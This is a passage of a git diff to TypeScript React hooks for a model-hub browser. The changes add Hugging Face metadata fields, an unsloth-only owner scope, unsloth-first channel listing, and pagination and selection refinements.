  * fallback that auto-fetches while the scroll container doesn't yet overflow.
- * `signal` (typically results.length) is a dep so the fit check re-runs after a
- * fetch even when the page filter rejected every new row and the DOM didn't change.
+ * Fallback firings are coalesced to one `scrollHeight` read (forced layout) per
+ * frame; concurrency is gated at the data-source layer.
+ *
+ * `signal` (typically `results.length`) is a dep so the fit check re-runs after
+ * a fetch even when the page filter rejected every new row and the DOM didn't
+ * change. `DEFAULT_MAX_AUTO_FILL_FETCHES` caps a runaway sweep of the full
+ * listing; callers with a manual continuation UI can lower it.
  */
-// Hard backstop on no-overflow auto-fetches, capping a runaway sweep of the full listing.
 const DEFAULT_MAX_AUTO_FILL_FETCHES = 40;
 
 export interface InfiniteScrollOptions {
@@ -190,7 +194,7 @@ export function useHubInfiniteScroll(
       const sentinel = sentinelRef.current;
       if (!sentinel?.isConnected) return;
       if (manualFetchAvailableRef.current) return;
-      // Once content overflows, the IntersectionObserver takes over — stop polling.
+      // Once content overflows, the IntersectionObserver takes over - stop polling.
       if (hasScrollableOverflow(root)) {
         setManualFetchAvailable(false);
         return;
diff --git a/studio/frontend/src/features/hub/hooks/use-hub-model-search.ts b/studio/frontend/src/features/hub/hooks/use-hub-model-search.ts
index ebce58e9d8..647c9adb5e 100644
--- a/studio/frontend/src/features/hub/hooks/use-hub-model-search.ts
+++ b/studio/frontend/src/features/hub/hooks/use-hub-model-search.ts
@@ -16,12 +16,10 @@ import {
   useMemo,
   useState,
 } from "react";
-import { useHubPaginatedSearch } from "./use-hub-paginated-search";
+import { pullBatch, useHubPaginatedSearch } from "./use-hub-paginated-search";
 import { usePlatformStore } from "@/config/env";
-import {
-  EMBEDDING_TAGS,
-  estimateSizeFromDtypes,
-} from "../lib/hf-model-meta";
+import { EMBEDDING_TAGS, estimateSizeFromDtypes } from "../lib/hf-model-meta";
+import { detectBaseModel } from "../lib/model-capabilities";
 import { isGgufLike } from "../lib/model-identifiers";
 import {
   classifyUnslothSupport,
@@ -30,7 +28,21 @@ import {
   type UnslothSupportStatus,
 } from "../lib/unsloth-support";
 
-const ALL_FIELDS: ("safetensors" | "tags")[] = ["safetensors", "tags"];
+const ALL_FIELDS: (
+  | "safetensors"
+  | "tags"
+  | "library_name"
+  | "config"
+  | "createdAt"
+  | "downloadsAllTime"
+)[] = [
+  "safetensors",
+  "tags",
+  "library_name",
+  "config",
+  "createdAt",
+  "downloadsAllTime",
+];
 
 export { classifyUnslothSupport };
 export type { UnslothSupport, UnslothSupportStatus };
@@ -84,12 +96,17 @@ export interface HfModelResult {
   id: string;
   downloads: number;
   likes: number;
+  private?: boolean;
+  gated?: false | "auto" | "manual";
   totalParams?: number;
   estimatedSizeBytes?: number;
   isGguf: boolean;
+  baseModel?: string | null;
   tags?: string[];
   pipelineTag?: string;
   updatedAt?: string;
+  createdAt?: string;
+  downloadsAllTime?: number;
   libraryName?: string;
   quantMethod?: string;
 }
@@ -152,10 +169,14 @@ function makeMapModel(
       name: string;
       downloads?: number;
       likes?: number;
+      private?: boolean;
+      gated?: false | "auto" | "manual";
       task?: string;
       pipeline_tag?: string;
       library_name?: string;
       updatedAt?: Date | string;
+      createdAt?: Date | string;
+      downloadsAllTime?: number;
       safetensors?: { total: number; parameters?: Record<string, number> };
       gguf?: { total?: number; architecture?: string };
       tags?: string[];
@@ -180,7 +201,7 @@ function makeMapModel(
     }
     const pipelineTag = m.task ?? m.pipeline_tag;
     const quantMethod = m.config?.quantization_config?.quant_method;
-    // Drops runtime-unloadable models before they reach the row list. Discover
+    // Drop runtime-unloadable models before they reach the row list. Discover
     // opts out via keepUnsupportedTags to render them with a "may not be supported"
     // dot. Embeddings skip the gate: their pipeline tag is unsupported for chat but trainable.
     if (!keepUnsupportedTags && !isEmbedding) {
@@ -200,16 +221,27 @@ function makeMapModel(
         : typeof m.updatedAt === "string"
           ? m.updatedAt
           : undefined;
+    const createdAtIso =
+      m.createdAt instanceof Date
+        ? m.createdAt.toISOString()
+        : typeof m.createdAt === "string"
+          ? m.createdAt
+          : undefined;
     return {
       id: m.name,
       downloads: m.downloads ?? 0,
       likes: m.likes ?? 0,
+      private: m.private,
+      gated: m.gated,
       totalParams: m.safetensors?.total ?? m.gguf?.total,
       estimatedSizeBytes: estimateSizeFromDtypes(m.safetensors?.parameters),
       isGguf,
+      baseModel: detectBaseModel(m.tags),
       tags: m.tags,
       pipelineTag,
       updatedAt: updatedAtIso,
+      createdAt: createdAtIso,
+      downloadsAllTime: m.downloadsAllTime,
       libraryName: m.library_name,
       quantMethod,
     };
@@ -222,6 +254,7 @@ const UNSLOTH_PREFETCH = 20;
 const UNSLOTH_QUERY_PREFETCH = 3;
 /** With a publisher query, fewer unsloth results before the pinned publisher model. */
 const UNSLOTH_PINNED_PREFETCH = 4;
+/** Matches a valid "owner/repo" identifier (exactly two non-empty segments). */
 const PUBLISHER_RE = /^([^/\s]+)\/([^/\s]+)$/;
 
 /**
@@ -259,17 +292,21 @@ async function* mergedModelIterator(
     ...(accessToken ? { credentials: { accessToken } } : {}),
   };
 
-  const unslothIter = mergeTaskIterators(tasks, (task) =>
-    listModels({
-      search: { query, owner: "unsloth", ...(task ? { task } : {}) },
-      ...common,
-    }) as AsyncGenerator<unknown>,
+  const unslothIter = mergeTaskIterators(
+    tasks,
+    (task) =>
+      listModels({
+        search: { query, owner: "unsloth", ...(task ? { task } : {}) },
+        ...common,
+      }) as AsyncGenerator<unknown>,
   );
-  const generalIter = mergeTaskIterators(tasks, (task) =>
-    listModels({
-      search: { query, ...(task ? { task } : {}) },
-      ...common,
-    }) as AsyncGenerator<unknown>,
+  const generalIter = mergeTaskIterators(
+    tasks,
+    (task) =>
+      listModels({
+        search: { query, ...(task ? { task } : {}) },
+        ...common,
+      }) as AsyncGenerator<unknown>,
   );
 
   // Start the pinned lookup now so it runs in parallel with Phase 1 instead of blocking Phase 2.
@@ -364,11 +401,13 @@ async function* priorityThenListingIterator(
     }
   }
 
-  const generalIter = mergeTaskIterators(tasks, (task) =>
-    listModels({
-      search: { owner: "unsloth", ...(task ? { task } : {}) },
-      ...common,
-    }) as AsyncGenerator<unknown>,
+  const generalIter = mergeTaskIterators(
+    tasks,
+    (task) =>
+      listModels({
+        search: { owner: "unsloth", ...(task ? { task } : {}) },
+        ...common,
+      }) as AsyncGenerator<unknown>,
   );
   for await (const model of generalIter) {
     const m = model as { name?: string };
@@ -389,6 +428,146 @@ export interface HfModelSearchChannel {
   idSuffix?: string;
 }
 
+function createChannelIterator(
+  channel: HfModelSearchChannel,
+  opts: {
+    query?: string;
+    sortBy: HfSortKey;
+    sortDirection: HfSortDirection;
+    accessToken?: string;
+    signal: AbortSignal;
+  },
+): AsyncGenerator<unknown> {
+  const channelTags =
+    channel.tags && channel.tags.length ? [...channel.tags] : undefined;
+  const queryString = opts.query || channel.query || undefined;
+  return listModels({
+    search: {
+      ...(queryString ? { query: queryString } : {}),
+      ...(channel.owner ? { owner: channel.owner } : {}),
+      ...(channelTags ? { tags: channelTags } : {}),
+    },
+    additionalFields: ALL_FIELDS,
+    fetch: makeSortFetch(opts.sortBy, opts.sortDirection, opts.signal),
+    sort: opts.sortBy,
+    ...(opts.accessToken ? { credentials: { accessToken: opts.accessToken } } : {}),
+  }) as AsyncGenerator<unknown>;
+}
+
+// Bound the unsloth pass so a huge unsloth slice can't starve the general listing under scroll.
+const UNSLOTH_CHANNEL_PREFETCH = 60;
+
+// For tag/format channels without a fixed owner (e.g. GGUF filter), yield unsloth
+// models first (in sort order), then the rest with already-seen unsloth repos removed,
+// floating unsloth to the top even when sorting by downloads/likes.
+async function* channelUnslothFirstIterator(
+  channel: { tags?: string[]; query?: string },
+  opts: {
+    query?: string;
+    sortBy: HfSortKey;
+    sortDirection: HfSortDirection;
+    accessToken?: string;
+    signal: AbortSignal;
+  },
+): AsyncGenerator<unknown> {
+  const queryString = opts.query || channel.query || undefined;
+  const creds = opts.accessToken
+    ? { credentials: { accessToken: opts.accessToken } }
+    : {};
+  const seen = new Set<string>();
+
+  const unslothIter = listModels({
+    search: {
+      ...(queryString ? { query: queryString } : {}),
+      owner: "unsloth",
+      ...(channel.tags ? { tags: channel.tags } : {}),
+    },
+    additionalFields: ALL_FIELDS,
+    fetch: makeSortFetch(opts.sortBy, opts.sortDirection, opts.signal),
+    sort: opts.sortBy,
+    ...creds,
+  }) as AsyncGenerator<unknown>;
+  let count = 0;
+  for await (const model of unslothIter) {
+    const name = (model as { name?: string }).name;
+    if (name) seen.add(name);
+    yield model;
+    if (++count >= UNSLOTH_CHANNEL_PREFETCH) break;
+  }
+
+  const generalIter = listModels({
+    search: {
+      ...(queryString ? { query: queryString } : {}),
+      ...(channel.tags ? { tags: channel.tags } : {}),
+    },
+    additionalFields: ALL_FIELDS,
+    fetch: makeSortFetch(opts.sortBy, opts.sortDirection, opts.signal),
+    sort: opts.sortBy,
+    ...creds,
+  }) as AsyncGenerator<unknown>;
+  for await (const model of generalIter) {
+    const name = (model as { name?: string }).name;
+    if (name && seen.has(name)) continue;
+    yield model;
+  }
+}
+
+export interface FetchChannelFirstPageOptions {
+  channel: HfModelSearchChannel;
+  sortBy: HfSortKey;
+  sortDirection?: HfSortDirection;
+  accessToken?: string;
+  signal: AbortSignal;
+  pageSize?: number;
+  deviceType: string | null;
+  excludeGguf?: boolean;
+  keepUnsupportedTags?: boolean;
+}
+
+export interface FetchChannelFirstPageResult {
+  results: HfModelResult[];
+  scanned: number;
+  done: boolean;
+}
+
+export async function fetchChannelFirstPage(
+  options: FetchChannelFirstPageOptions,
+): Promise<FetchChannelFirstPageResult> {
+  const {
+    channel,
+    sortBy,
+    sortDirection = "desc",
+    accessToken,
+    signal,
+    pageSize = 20,
+    deviceType,
+    excludeGguf = false,
+    keepUnsupportedTags = true,
+  } = options;
+  const mapModel = makeMapModel(
+    excludeGguf,
+    excludedFormatTagsForDevice(deviceType),
+    keepUnsupportedTags,
+    channel.idSuffix ?? "",
+    deviceType,
+  );
+  async function* primed(): AsyncGenerator<unknown> {
+    const iter = createChannelIterator(channel, {
+      sortBy,
+      sortDirection,
+      accessToken,
+      signal,
+    });
+    for await (const model of iter) {
+      const name = (model as { name?: string }).name;
+      if (name) primeFromListing(name, accessToken, model);
+      yield model;
+    }
+  }
+  const { items, done, scanned } = await pullBatch(primed(), mapModel, pageSize);
+  return { results: items, scanned, done };
+}
+
 export function useHubModelSearch(
   query: string,
   options?: {
@@ -399,6 +578,11 @@ export function useHubModelSearch(
     sortBy?: HfSortKey;
     sortDirection?: HfSortDirection;
     pinUnslothFirst?: boolean;
+    /**
+     * "unsloth" restricts listings to the unsloth org; "all" surfaces the whole
+     * Hub with unsloth floated to the top. Owner-fixed channel presets ignore this.
+     */
+    ownerScope?: "unsloth" | "all";
     enabled?: boolean;
     keepUnsupportedTags?: boolean;
     channel?: HfModelSearchChannel | null;
@@ -412,10 +596,12 @@ export function useHubModelSearch(
     sortBy = "downloads",
     sortDirection = "desc",
     pinUnslothFirst = true,
+    ownerScope = "all",
     enabled = true,
     keepUnsupportedTags = false,
     channel = null,
   } = options ?? {};
+  const unslothOnly = ownerScope === "unsloth";
 
   const channelOwner = channel?.owner ?? null;
   const channelTagsKey = channel?.tags ? channel.tags.join("|") : "";
@@ -443,26 +629,61 @@ export function useHubModelSearch(
   const createIter = useCallback(
     (signal: AbortSignal) => {
       // Channel scoping bypasses the unsloth-merge iterator: a hard owner/tag
-      // filter shows just that curated slice, with the user's text query forwarded into it.
+      // filter shows just that curated slice, with the user's text query forwarded in.
       if (channelOwner || channelTagsKey || channelQuery) {
-        const channelTags = channelTagsKey ? channelTagsKey.split("|") : undefined;
+        const channelTags = channelTagsKey
+          ? channelTagsKey.split("|")
+          : undefined;
+        // Unsloth-only scope on an ownerless tag/format channel (e.g. GGUF filter):
+        // hard-restrict the slice to unsloth-owned repos.
+        if (unslothOnly && !channelOwner) {
+          return createChannelIterator(
+            {
+              owner: "unsloth",
+              tags: channelTags,
+              query: channelQuery || undefined,
+            },
+            {
+              query: trimmed || undefined,
+              sortBy,
+              sortDirection,
+              accessToken,
+              signal,
+            },
+          );
+        }
+        // Ownerless tag/format channels (e.g. GGUF filter): float unsloth-owned models first.
+        if (pinUnslothFirst && channelTagsKey && !channelOwner) {
+          return channelUnslothFirstIterator(
+            { tags: channelTags, query: channelQuery || undefined },
+            {
+              query: trimmed || undefined,
+              sortBy,
+              sortDirection,
+              accessToken,
+              signal,
+            },
+          );
+        }
         // User text query takes precedence over channel.query; without it, the
         // channel's own query (e.g. "bnb-4bit") narrows the listing server-side.
-        const queryString = trimmed || channelQuery || undefined;
-        return listModels({
-          search: {
-            ...(queryString ? { query: queryString } : {}),
-            ...(channelOwner ? { owner: channelOwner } : {}),
-            ...(channelTags ? { tags: channelTags } : {}),
+        return createChannelIterator(
+          {
+            owner: channelOwner ?? undefined,
+            tags: channelTags,
+            query: channelQuery || undefined,
           },
-          additionalFields: ALL_FIELDS,
-          fetch: makeSortFetch(sortBy, sortDirection, signal),
-          sort: sortBy,
-          ...(accessToken ? { credentials: { accessToken } } : {}),
-        }) as AsyncGenerator<unknown>;
+          {
+            query: trimmed || undefined,
+            sortBy,
+            sortDirection,
+            accessToken,
+            signal,
+          },
+        );
       }
       if (!trimmed) {
-        // No query: priority models first (full metadata), then the general unsloth listing.
+        // No query: show priority models first (with full metadata), then general unsloth listing
         if (stablePriorityIds && stablePriorityIds.length > 0) {
           return priorityThenListingIterator(
             stablePriorityIds,
@@ -473,16 +694,33 @@ export function useHubModelSearch(
             signal,
           ) as AsyncGenerator<unknown>;
         }
-        return mergeTaskIterators(normalizeTaskFilter(task), (task) =>
-          listModels({
-            search: { ...(task ? { task } : {}) },
-            additionalFields: ALL_FIELDS,
-            fetch: makeSortFetch(sortBy, sortDirection, signal),
-            sort: sortBy,
-            ...(accessToken ? { credentials: { accessToken } } : {}),
-          }) as AsyncGenerator<unknown>,
+        return mergeTaskIterators(
+          normalizeTaskFilter(task),
+          (task) =>
+            listModels({
+              // Unsloth-only scope restricts the plain sort browse to the org.
+              search: {
+                ...(unslothOnly ? { owner: "unsloth" } : {}),
+                ...(task ? { task } : {}),
+              },
+              additionalFields: ALL_FIELDS,
+              fetch: makeSortFetch(sortBy, sortDirection, signal),
+              sort: sortBy,
+              ...(accessToken ? { credentials: { accessToken } } : {}),
+            }) as AsyncGenerator<unknown>,
         );
       }
+      // Unsloth-only typed query: search within the org rather than floating
+      // a few unsloth hits above the global relevance ranking.
+      if (unslothOnly) {
+        return listModels({
+          search: { query: searchQuery, owner: "unsloth" },
+          additionalFields: ALL_FIELDS,
+          fetch: makeSortFetch(sortBy, sortDirection, signal),
+          sort: sortBy,
+          ...(accessToken ? { credentials: { accessToken } } : {}),
+        }) as AsyncGenerator<unknown>;
+      }
       // Typed query: drop the task filter so searched models appear despite
       // wrong/missing HF task metadata. For an "owner/repo" query, strip the org
       // prefix so unsloth variants surface, then pin the original publisher model.
@@ -509,6 +747,8 @@ export function useHubModelSearch(
       channelOwner,
       channelTagsKey,
       channelQuery,
+      pinUnslothFirst,
+      unslothOnly,
     ],
   );
 
@@ -523,7 +763,13 @@ export function useHubModelSearch(
         channelIdSuffix,
         deviceType,
       ),
-    [excludeGguf, excludedTags, keepUnsupportedTags, channelIdSuffix, deviceType],
+    [
+      excludeGguf,
+      excludedTags,
+      keepUnsupportedTags,
+      channelIdSuffix,
+      deviceType,
+    ],
   );
   const search = useHubPaginatedSearch(createIter, mapModel, { enabled });
 
@@ -535,7 +781,6 @@ export function useHubModelSearch(
   // a late unsloth/* repo jump to an earlier index and bump the viewport during
   // infinite scroll, so we only sort when the listing resets (length shrinks or
   // zeros), where re-ordering is safe.
-  const channelActive = Boolean(channelOwner || channelTagsKey);
   const [stableCache, setStableCache] = useState<{
     source: HfModelResult[] | null;
     length: number;
@@ -544,8 +789,10 @@ export function useHubModelSearch(
   }>({ source: null, length: 0, results: [], sorted: false });
 
   const incoming = search.results;
+  // Owner-scoped channels return a single owner, so re-sorting is a no-op there;
+  // tag/format channels (e.g. GGUF) and plain browsing still float unsloth first.
   const sortingDisabled =
-    !pinUnslothFirst || isPublisherQuery || trimmed || channelActive;
+    !pinUnslothFirst || isPublisherQuery || trimmed || Boolean(channelOwner);
   const { results, nextCache } = useMemo(() => {
     let results: HfModelResult[];
     let nextCache = stableCache;
@@ -578,7 +825,8 @@ export function useHubModelSearch(
       !stableCache.sorted ||
       stableCache.length === 0 ||
       incoming.length < stableCache.length ||
-      (incoming.length === stableCache.length && stableCache.source !== incoming)
+      (incoming.length === stableCache.length &&
+        stableCache.source !== incoming)
     ) {
       const sorted = [...incoming].sort((a, b) => {
         const aFirst = a.id.startsWith("unsloth/") ? 0 : 1;
diff --git a/studio/frontend/src/features/hub/hooks/use-hub-paginated-search.ts b/studio/frontend/src/features/hub/hooks/use-hub-paginated-search.ts
index 2d6214d442..882c530782 100644
--- a/studio/frontend/src/features/hub/hooks/use-hub-paginated-search.ts
+++ b/studio/frontend/src/features/hub/hooks/use-hub-paginated-search.ts
@@ -20,23 +20,26 @@ const INITIAL: HfPaginatedState<never> = {
   hasMore: false,
   error: null,
 };
-const BATCH = 20;
+// listModels returns up to 500 models per fetch, so a bigger batch just walks
+// the in-memory page (essentially free) and fills the viewport in one commit.
+const BATCH = 48;
 const MAX_RAW_ITEMS_PER_BATCH = BATCH * 4;
 type BusyKind = "initial" | "more";
 
 /**
- * Min gap between fetchMore() calls. Two observers can fire in one tick and React
- * commits the in-flight flag asynchronously, so this caps the worst case at one
- * request per window. Pairs with a trailing-edge schedule: a blocked call queues
- * one fire at the window end so filters that starve the visible list keep paginating.
+ * Min gap between fetchMore() calls. Sibling observers can fire in one tick and
+ * React commits the in-flight flag asynchronously, so this caps the worst case
+ * at one request per window. A blocked call queues a trailing-edge fire so
+ * filters that starve the visible list keep paginating instead of dead-locking.
  */
-const MIN_FETCH_INTERVAL_MS = 1000;
+const MIN_FETCH_INTERVAL_MS = 350;
 
-// Preserved results older than this are refetched on re-enable so the feed can't
-// lag the Hub. Reset by every successful pull (idle time only). Mirrors hf-cache TTL.
+// Preserved results older than this refetch on re-enable so the feed can't lag
+// the Hub. Reset by every successful pull (idle time only). Mirrors the
+// modelInfo TTL in hf-cache.ts.
 const STALE_AFTER_MS = 5 * 60 * 1000;
 
-async function pullBatch<T>(
+export async function pullBatch<T>(
   iter: AsyncGenerator<unknown>,
   mapItem: (raw: unknown) => T | null,
   size: number,
@@ -82,19 +85,21 @@ export function useHubPaginatedSearch<T>(
 
   const iterRef = useRef<AsyncGenerator<unknown> | null>(null);
   const versionRef = useRef(0);
-  // Aborts the live iterator's in-flight fetches; replaced when a new query
-  // supersedes the feed so the abandoned listing stops fetching/priming.
+  // Aborts the live iterator's in-flight fetches; the prior one is aborted and
+  // replaced when a new query supersedes the feed so the abandoned listing stops
+  // fetching and priming the cache.
   const abortRef = useRef<AbortController | null>(null);
 
   // Identity of the last-fetched query. A fetch (re)starts only when one of these
-  // changes, never just on `enabled` toggling — keeps tab switches instant.
+  // changes, never just on `enabled` toggling, which keeps tab switches instant.
   const loadedFactoryRef = useRef<typeof createIter | null>(null);
   const loadedMapItemRef = useRef<typeof mapItem | null>(null);
   const loadedNonceRef = useRef(-1);
   const loadedAtRef = useRef(0);
 
-  // Synchronous in-flight guard, set before any setState so back-to-back
+  // Synchronous in-flight guard. Set before any setState so back-to-back
   // fetchMore() calls can't both pass the gate while React batches the commit.
+  // Cleared in finally() of the matching pull.
   const busyRef = useRef(false);
   const busyKindRef = useRef<BusyKind | null>(null);
   const busyTokenRef = useRef(0);
@@ -233,8 +238,9 @@ export function useHubPaginatedSearch<T>(
       queuedWhileHiddenRef.current = false;
       return false;
     }
-    // Synchronous in-flight gate before any setState, so concurrent fires from
-    // sibling observers all see the same truth and only one proceeds.
+    // Synchronous in-flight gate before any setState so concurrent fires from
+    // sibling observers all see the same truth and only one proceeds, closing
+    // the race window React's batched commit opens.
     if (busyRef.current) {
       if (busyKindRef.current === "more" && stateRef.current.isLoadingMore) {
         if (queuedAfterBusyRef.current) return false;
@@ -310,8 +316,9 @@ export function useHubPaginatedSearch<T>(
         setState((prev) => ({
           ...prev,
           isLoadingMore: false,
-          // Keep results and hasMore=true: the iterator is still valid, so the next
-          // fetchMore() resumes the failed page without discarding the list (retry() restarts from page 1).
+          // Keep results and hasMore=true: the iterator is still valid, so the
+          // next fetchMore() resumes the failed page without discarding the list
+          // (retry() restarts from page 1).
           error: err instanceof Error ? err.message : "Failed to load more",
         }));
       })
diff --git a/studio/frontend/src/features/hub/hooks/use-models-selection.ts b/studio/frontend/src/features/hub/hooks/use-models-selection.ts
index ad86e454e0..ebbd8baae1 100644
--- a/studio/frontend/src/features/hub/hooks/use-models-selection.ts
+++ b/studio/frontend/src/features/hub/hooks/use-models-selection.ts
@@ -17,6 +17,8 @@ import {
   resolveDiscoverSelection,
   resolveDownloadedSelection,
 } from "../lib/selection-resolution";
+import { ownerOf, repoOf } from "@/features/hub/lib/format";
+import { buildDiscoverRows, isGgufLike } from "../lib/view-models";
 import type {
   CachedInventoryRow,
   DiscoverRow,
@@ -28,12 +30,25 @@ import { useSelectedModelView } from "./use-selected-model-view";
 
 export interface ModelsSelection {
   selectedId: string | null;
-  setSelected: (id: string) => void;
+  setSelected: (id: string | null) => void;
   selectedModel: SelectedModelView | null;
   metadataUnavailable: boolean;
   selectionHiddenByFilters: boolean;
 }
 
+function stubDiscoverRow(id: string): DiscoverRow {
+  return {
+    id,
+    owner: ownerOf(id),
+    repo: repoOf(id),
+    result: { id, downloads: 0, likes: 0, isGguf: isGgufLike(id) },
+    isAvailableOnDevice: false,
+    isPartialOnDevice: false,
+    summary: "",
+    capabilities: [],
+  };
+}
+
 function preferredLocalRow(
   rows: readonly LocalInventoryRow[],
 ): LocalInventoryRow | null {
@@ -160,10 +175,12 @@ export function useModelsSelection({
     : downloadedResolution.hiddenByFilters;
   const detailSelectedId = useDeferredValue(selectedId);
   const setSelected = useCallback(
-    (id: string) => {
+    (id: string | null) => {
       if (isDiscoverTab) {
         setDiscoverSelectedId(id);
-        setDiscoverSelectedSnapshot(discoverRowById.get(id) ?? null);
+        setDiscoverSelectedSnapshot(
+          id ? (discoverRowById.get(id) ?? stubDiscoverRow(id)) : null,
+        );
       } else {
         setDownloadedSelectedId(id);
       }
@@ -265,8 +282,31 @@ export function useModelsSelection({
     !!selectedHubRepoId &&
     selectedRepoMetadata.error;
 
-  const selectedModel = useSelectedModelView({
+  const selectedDiscoverRowForView = useMemo(() => {
+    if (!selectedDiscoverRow) return null;
+    if (discoverRowById.has(selectedDiscoverRow.id)) return selectedDiscoverRow;
+    if (
+      !isDatasetMode &&
+      selectedHfResult &&
+      selectedHfResult.id.toLowerCase() === selectedDiscoverRow.id.toLowerCase()
+    ) {
+      return (
+        buildDiscoverRows([selectedHfResult], cachedRows, localRows)[0] ??
+        selectedDiscoverRow
+      );
+    }
+    return selectedDiscoverRow;
+  }, [
     selectedDiscoverRow,
+    discoverRowById,
+    isDatasetMode,
+    selectedHfResult,
+    cachedRows,
+    localRows,
+  ]);
+
+  const selectedModel = useSelectedModelView({
+    selectedDiscoverRow: selectedDiscoverRowForView,
     selectedCachedRow,
     selectedLocalRow,
     selectedHfResult,
diff --git a/studio/frontend/src/features/hub/hooks/use-selected-model-view.ts b/studio/frontend/src/features/hub/hooks/use-selected-model-view.ts
index 4616aba4bd..171dd88d3c 100644
--- a/studio/frontend/src/features/hub/hooks/use-selected-model-view.ts
+++ b/studio/frontend/src/features/hub/hooks/use-selected-model-view.ts
@@ -3,7 +3,11 @@
 
 import { useMemo } from "react";
 import { detectCapabilities, detectLicense } from "../lib/model-capabilities";
-import { buildSummary, localSourceLabel, toHfModelResult } from "../lib/view-models";
+import {
+  buildSummary,
+  localSourceLabel,
+  toHfModelResult,
+} from "../lib/view-models";
 import type {
   CachedInventoryRow,
   DiscoverRow,
@@ -121,6 +125,11 @@ export function useSelectedModelView({
               : selectedDiscoverRow.result.isGguf
                 ? "gguf"
                 : null,
+          baseModel: selectedDiscoverRow.result.baseModel ?? null,
+          baseModelSource: selectedDiscoverRow.result.baseModel
+            ? "huggingface"
+            : null,
+          baseModelHubId: selectedDiscoverRow.result.baseModel ?? null,
           isDownloaded: !selectedLocalRow.partial,
           isPartial: selectedLocalRow.partial ?? false,
           partialTransport: selectedLocalRow.partialTransport ?? null,
@@ -129,11 +138,15 @@ export function useSelectedModelView({
           license: detectLicense(selectedDiscoverRow.result.tags),
           pipelineTag: selectedDiscoverRow.result.pipelineTag,
           libraryName: selectedDiscoverRow.result.libraryName,
+          gated: selectedDiscoverRow.result.gated,
+          private: selectedDiscoverRow.result.private,
           downloads: selectedDiscoverRow.result.downloads,
+          downloadsAllTime: selectedDiscoverRow.result.downloadsAllTime,
           likes: selectedDiscoverRow.result.likes,
           totalParams: selectedDiscoverRow.result.totalParams,
           estimatedSizeBytes: selectedDiscoverRow.result.estimatedSizeBytes,
           updatedAt: selectedDiscoverRow.result.updatedAt,
+          createdAt: selectedDiscoverRow.result.createdAt,
           localUpdatedAt: selectedLocalRow.updatedAt,
           tags: selectedDiscoverRow.result.tags,
           quantMethod: selectedDiscoverRow.result.quantMethod,
@@ -146,13 +159,14 @@ export function useSelectedModelView({
         ? cachedResource(selectedCachedRow)
         : selectedLocalRow?.source === "hf_cache"
           ? localResource(selectedLocalRow, selectedDiscoverRow.result.id)
-        : remoteResource(selectedDiscoverRow);
+          : remoteResource(selectedDiscoverRow);
       const isResolvedPartial = resource.cacheState === "partial";
       const isResolvedOnDevice =
         resource.cacheState === "cached" || resource.cacheState === "local";
       const resolvedModelFormat =
         selectedCachedRow?.modelFormat ??
-        (selectedLocalRow?.modelFormat && selectedLocalRow.modelFormat !== "unknown"
+        (selectedLocalRow?.modelFormat &&
+        selectedLocalRow.modelFormat !== "unknown"
           ? selectedLocalRow.modelFormat
           : selectedDiscoverRow.result.isGguf
             ? "gguf"
@@ -182,6 +196,11 @@ export function useSelectedModelView({
           selectedLocalRow?.capabilities.requiresVariant ??
           selectedDiscoverRow.result.isGguf,
         modelFormat: resolvedModelFormat,
+        baseModel: selectedDiscoverRow.result.baseModel ?? null,
+        baseModelSource: selectedDiscoverRow.result.baseModel
+          ? "huggingface"
+          : null,
+        baseModelHubId: selectedDiscoverRow.result.baseModel ?? null,
         isDownloaded: isResolvedOnDevice,
         isPartial: isResolvedPartial,
         partialTransport:
@@ -194,12 +213,16 @@ export function useSelectedModelView({
         license: detectLicense(selectedDiscoverRow.result.tags),
         pipelineTag: selectedDiscoverRow.result.pipelineTag,
         libraryName: selectedDiscoverRow.result.libraryName,
+        gated: selectedDiscoverRow.result.gated,
+        private: selectedDiscoverRow.result.private,
         downloads: selectedDiscoverRow.result.downloads,
+        downloadsAllTime: selectedDiscoverRow.result.downloadsAllTime,
         likes: selectedDiscoverRow.result.likes,
         totalParams: selectedDiscoverRow.result.totalParams,
         estimatedSizeBytes: selectedDiscoverRow.result.estimatedSizeBytes,
         cachedBytes: selectedCachedRow?.bytes,
         updatedAt: selectedDiscoverRow.result.updatedAt,
+        createdAt: selectedDiscoverRow.result.createdAt,
         tags: selectedDiscoverRow.result.tags,
         quantMethod: selectedDiscoverRow.result.quantMethod,
       };
@@ -214,11 +237,18 @@ export function useSelectedModelView({
           : "Cached checkpoint repository ready for local inference.";
       const mergedTags = selectedHfResult?.tags ?? selectedCachedRow.tags;
       const mergedPipelineTag =
-        selectedHfResult?.pipelineTag ?? selectedCachedRow.pipelineTag ?? undefined;
+        selectedHfResult?.pipelineTag ??
+        selectedCachedRow.pipelineTag ??
+        undefined;
       const mergedLibraryName =
-        selectedHfResult?.libraryName ?? selectedCachedRow.libraryName ?? undefined;
+        selectedHfResult?.libraryName ??
+        selectedCachedRow.libraryName ??
+        undefined;
       const mergedQuantMethod =
-        selectedHfResult?.quantMethod ?? selectedCachedRow.quantMethod ?? undefined;
+        selectedHfResult?.quantMethod ??
+        selectedCachedRow.quantMethod ??
+        undefined;
+      const mergedBaseModel = selectedHfResult?.baseModel ?? null;
       return {
         id: selectedCachedRow.repoId,
         kind: "cache",
@@ -236,6 +266,9 @@ export function useSelectedModelView({
         isGguf: selectedCachedRow.isGguf,
         requiresVariant: selectedCachedRow.capabilities.requiresVariant,
         modelFormat: selectedCachedRow.modelFormat,
+        baseModel: mergedBaseModel,
+        baseModelSource: mergedBaseModel ? "huggingface" : null,
+        baseModelHubId: mergedBaseModel,
         isDownloaded: !selectedCachedRow.partial,
         isPartial: selectedCachedRow.partial ?? false,
         partialTransport: selectedCachedRow.partialTransport ?? null,
@@ -250,12 +283,16 @@ export function useSelectedModelView({
         license: detectLicense(mergedTags),
         pipelineTag: mergedPipelineTag,
         libraryName: mergedLibraryName,
+        gated: selectedHfResult?.gated,
+        private: selectedHfResult?.private,
         downloads: selectedHfResult?.downloads,
+        downloadsAllTime: selectedHfResult?.downloadsAllTime,
         likes: selectedHfResult?.likes,
         totalParams: selectedHfResult?.totalParams,
         estimatedSizeBytes: selectedHfResult?.estimatedSizeBytes,
         cachedBytes: selectedCachedRow.bytes,
         updatedAt: selectedHfResult?.updatedAt,
+        createdAt: selectedHfResult?.createdAt,
         tags: mergedTags,
         quantMethod: mergedQuantMethod,
       };
@@ -283,9 +320,10 @@ export function useSelectedModelView({
         selectedHfResult?.quantMethod ??
         selectedLocalRow.quantMethod ??
         undefined;
-      const baseModelSummary = selectedLocalRow.baseModel && selectedHfResult
-        ? buildSummary(selectedHfResult)
-        : null;
+      const baseModelSummary =
+        selectedLocalRow.baseModel && selectedHfResult
+          ? buildSummary(selectedHfResult)
+          : null;
       const localHubMetadata = localHubRepoId ? selectedHfResult : null;
 
